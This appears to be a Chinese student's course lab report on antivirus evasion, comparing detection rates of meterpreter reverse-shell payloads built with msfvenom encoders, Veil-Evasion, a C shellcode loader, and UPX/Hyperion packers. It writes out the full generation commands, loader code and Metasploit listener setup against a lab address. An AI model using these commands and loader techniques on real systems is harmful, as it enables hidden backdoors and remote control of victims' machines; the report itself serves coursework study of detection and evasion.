20242412 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242412 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1. 基础知识

免杀：对恶意软件做处理，让它不被杀毒软件检测出来。

杀软如何检测出恶意代码？

  • 特征码扫描：从已知恶意代码样本中提取唯一字节序列作为"签名"，扫描文件时逐字节比对，出现完全匹配即判定恶意。优点准确快速，缺点无法检测未知样本和轻微修改的变种。
  • 启发式分析：不依赖已知签名，检测代码结构或行为是否像恶意程序。静态启发式扫描代码结构，动态启发式监控程序运行时的动作，比如进程注入、修改注册表启动项、连接陌生IP等，偏离正常程序行为即标记可疑。
  • 行为监控/沙箱：在受控环境中运行样本，观察系统调用序列和网络行为。例如某个程序突然调用VirtualAllocEx + CreateRemoteThread向其他进程写数据，或释放后立即外连C2服务器，就会被行为引擎拦截。
  • 此外还有云查杀（上传文件哈希到云端比对）和机器学习模型，但核心逻辑仍是上述三类的延伸。

免杀的基本方法有哪些？

按对抗的检测层面划分：

对抗目标 方法 原理
特征码扫描 编码/加密（msfvenom -e、XOR、多层迭代） 改变文件字节序列，使签名无法匹配
特征码扫描 加壳（UPX、Hyperion等） 原始代码被压缩/加密包裹，静态扫描只能看到壳
静态启发式 代码混淆、花指令、替换API调用 打乱代码结构，增加分析难度
动态行为监控 Shellcode加载器分离、延迟执行、沙箱检测 shellcode不直接放在exe中，运行时才解密/加载
整体 组合技术 编码 + 加壳 + 加载器分离 + 伪装等叠加使用

2. 实验内容

(1) 正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧；正确使用msf编码器，使用msfvenom生成如jar之类的其他文件；veil，加壳工具；使用C + shellcode编程

(2) 通过组合应用各种技术实现恶意代码免杀

(3) 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

3. 实验过程

任务一：正确使用msf编码器、veil-evasion、加壳与C+shellcode编程

攻击机环境：Kali Linux 2026.2，IP地址192.168.197.128，监听端口6666。

d:\xwechat_files\wxid_4ienoey2eixe22_b289\temp\RWTemp\2026-10\9e20f478899dc29eb19741386f9343c8\4f7c4e6c66062602c7ddaa826bad0315.png

1. msfvenom编码器与多格式生成

先生成一个裸的msfvenom exe作为基准对照组：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.128 LPORT=6666 -f exe > met20242412.exe

alt text

将此程序送到VirScan中检测，结果为16/48引擎报毒。

alt text

返回kali linux，生成基础jar文件：

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.197.128 LPORT=6666 -f jar > met20242412.jar

对exe使用shikata_ga_nai编码：

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.197.128 LPORT=6666 -f exe > met-encoded20242412.exe

alt text

再做10次迭代编码：

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.197.128 LPORT=6666 -f exe > met-encoded10x20242412.exe

alt text

（-e指定编码器，-i是迭代次数，-b '\x00'排除空字节。）

检测结果：单轮编码17/48，10次迭代17/48，不降反增。

alt text

alt text

结论：shikata_ga_nai编码器的解密stub本身已被主流杀软特征化，单纯依赖msfvenom编码对现代杀软效果有限，增加迭代次数也无法绕过模拟执行解包。

同时生成jar和php格式的payload：

alt text

alt text

jar编码后检测结果：14/48引擎报毒。

alt text

php原始木马检测结果：8/48引擎报毒。

alt text

2. Veil-Evasion生成免杀载荷

安装并启动Veil（解决了GitHub连接超时、wine32缺失、pycrypto废弃等问题），进入Veil后选择Evasion模块，查看可用payload列表：

alt text

使用cs/meterpreter/rev_tcp.py载荷，配置参数并生成：

set LHOST 192.168.197.128
set LPORT 6666
generate

alt text

生成的文件名为payload20242412.exe，路径在/var/lib/veil/output/compiled/。上传至VirScan验证，结果为8/48引擎报毒，相比原始msfvenom的16家下降明显。

alt text

说明veil的自定义编译方式能有效绕过MSF的特征检测。

3. C + shellcode编程

生成C格式shellcode：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.128 LPORT=6666 -f c > shellcode20242412.h

alt text

编写C加载器main20242412.c：

#include <windows.h>
#include "shellcode20242412.h"

int main() {
    void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
    return 0;
}

alt text

原理：通过VirtualAlloc申请一块可读可写可执行的内存，将shellcode拷贝进去，再将内存地址强制转换为函数指针并调用，让CPU跳转到shellcode所在内存区域执行机器码。

用MinGW交叉编译为Windows exe：

i686-w64-mingw32-gcc main20242412.c -o main20242412.exe

检测结果：7/48引擎报毒。

alt text

面对的不再是标准MSF格式，而是自己编译的普通C程序，检出率大幅下降。但buf中的原始shellcode字节仍在文件中，无法清零。

4. 加壳对比（UPX + Hyperion）

对C+shellcode生成的exe分别加压缩壳和加密壳，观察检出率变化。

UPX压缩壳：

upx main20242412.exe -o main-upx20242412.exe

alt text

检测结果：7/48引擎报毒，与加壳前持平。UPX是公开壳，杀软普遍可识别并解壳，免杀效果有限。

alt text

Hyperion加密壳：

sudo cp main20242412.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
sudo wine hyperion.exe -v main20242412.exe main-hyperion20242412.exe

alt text

检测结果：20/48引擎报毒，不降反升。

alt text

结论：加壳并非一劳永逸，Hyperion壳本身的特征被部分杀软标记为可疑，且wine编译环境引入了额外异常，触发启发式查杀。

5. 组合技术：编码 + 自定义加载器 + 加壳

为进一步降低检出率，将多种技术组合使用：先让msfvenom对shellcode做10次shikata编码，导出为C格式，再嵌入自己写的C加载器，最后加UPX壳。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.197.128 LPORT=6666 -f c > encoded20242412.h

alt text

编写组合版C加载器编译成exe后，再加UPX壳：

upx main-combo20242412.exe -o main-combo-upx20242412.exe

alt text

检测结果：组合免杀不加壳为7/48，

alt text

加UPX壳后为6/48，是本次实验检出率最低的版本。

alt text

组合+Hyperion壳版本报毒19家，反而升高，进一步验证了Hyperion壳效果不佳。

alt text

任务二：与杀软共生及实测验证

1. 实测环境准备

在Kali开启监听：

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.197.128
set LPORT 6666
exploit

alt text

2. 开启防护测试

将各版本样本通过共享文件夹传至另一台Windows 11物理机，该电脑开启Windows Defender实时防护。双击运行样本时，Windows Defender弹出提示"文件包含病毒或潜在的垃圾软件"，拦截了样本运行，未能成功回连。
这说明了当下电脑自带的Windows Defender防护功能还是很强大的。

3. 各阶段免杀效果对比总结

测试阶段 测试文件 生成方式 VirScan检出率
裸MSF met20242412.exe msfvenom原生 16/48
MSF单轮编码 met-encoded20242412.exe shikata_ga_nai 17/48
MSF十次编码 met-encoded10x20242412.exe shikata_ga_nai迭代10次 17/48
Java格式 met-encoded-jar20242412.jar msfvenom jar 14/48
PHP木马 metphp20242412.php msfvenom php 8/48
Veil工具 payload20242412.exe Veil-Evasion 8/48
C+Shellcode main20242412.exe C语言直接内联 7/48
UPX加壳 main-upx20242412.exe UPX压缩 7/48
Hyperion加壳 main-hyperion20242412.exe 加密壳 20/48
组合免杀 main-combo20242412.exe 编码+加载器 7/48
组合+UPX main-combo-upx20242412.exe 编码+加载器+UPX 6/48

4. 问题及解决方案

问题1：安装Veil时，git clone GitHub超时，且Kali 2026.2提示wine32包无安装候选，setup.sh脚本报一堆依赖安装失败。

问题1解决方案：

  • 配置强制IPv4（echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4）解决apt走IPv6超时；
  • 改用gitcode国内镜像克隆Veil源码，绕开GitHub连接问题；
  • 提前执行dpkg --add-architecture i386启用32位架构，尝试恢复wine32支持；
  • 将setup.sh中的pip install pycrypto替换为pycryptodome --break-system-packages，解决pycrypto废弃和PEP 668限制问题。
    最终Veil成功启动并生成payload。

问题2：对C+shellcode程序加Hyperion加密壳后，检出率从7家上升到20家，不降反升。

问题2解决方案：分析原因，Hyperion壳本身的特征被部分杀软标记为可疑，且通过wine环境加壳可能引入了额外的异常特征。后续组合免杀中不再使用Hyperion壳，改用UPX壳效果更好。

问题3：在另一台Windows 11电脑上实测时，即使是检出率最低的组合免杀版本，也被Windows Defender瞬间拦截。

问题3解决方案：通过分析发现，虽然本地exe静态特征已很干净，但Defender的动态行为分析引擎检测到了VirtualAlloc（申请可执行内存）、memcpy拷贝、函数指针执行等一系列高危API组合调用，触发了行为查杀。这证明现代杀软已从"查文件特征"进化到"查代码行为"，仅靠静态免杀难以完全绕过。

5. 学习感悟即问题回答

此次实验还是带给我了很大的震撼。通过亲手生成后门、尝试各种免杀手段、再被杀软一步步拦住，我直观感受到了网络攻防的激烈对抗。

第一，理解了杀软检测的"三板斧"。结合实验数据，裸MSF载荷在VirScan上被16家引擎秒报，这是特征码扫描的威力；我加UPX和Hyperion壳后检出率不降反升，这是静态启发式在发挥作用——壳的特征本身就成了新的嫌疑点；而即使我写了检出率最低的组合免杀版本，放到另一台开着Windows Defender的物理机上仍然被瞬间拦截，这就是动态行为监控的强大。它不管你文件长什么样，只看你运行时干了什么：申请可执行内存、拷贝shellcode、跳转执行，这一套动作组合在一起，不管穿什么衣服都会被盯上。

第二，对免杀有了更务实的认识。免杀绝不是制造一个"无毒"的文件，而是通过编码、加壳、加载器分离等伪装手段，改变恶意代码的静态特征，或者隐藏其动态行为，骗过杀软的检测。我在实验中走了完整的演进路径：从一开始用msfvenom自带编码器（结果发现编码器本身就是特征），到尝试加壳（结果发现壳也是特征），再到自己写C语言加载器（检出率明显下降），最后组合多种技术把检出率压到最低。每一步都让我明白，没有万能的免杀方法，只有不断在检测规则上做对抗。

第三，免杀是后续一切攻击的基石。如果说漏洞利用是在目标系统上敲开一扇门，那免杀就是保证这扇门打开后不被保安发现。再精妙的漏洞利用，生成的payload如果第一步就被杀毒软件删掉，后面提权、抓hash、横向移动都无从谈起。这让我理解了为什么实际攻防中攻击者要花大量精力做免杀——不是技术炫技，而是必须迈过的第一道坎。

当然，这次实验也有遗憾：最终在另一台电脑上没能成功回连，被Windows Defender拦住了。但这也让我清醒地认识到，公开的免杀技术面对现代商业杀软效果有限，真正实战中的免杀还需要结合目标环境做定制化开发，比如利用系统白名单程序、直接在内存中加载不落盘、API动态解析等更高级的手段，这些都是后续需要继续学习的方向。

参考资料

posted @ 2026-10-25 11:14  钎城  阅读(4)  评论(0)    收藏  举报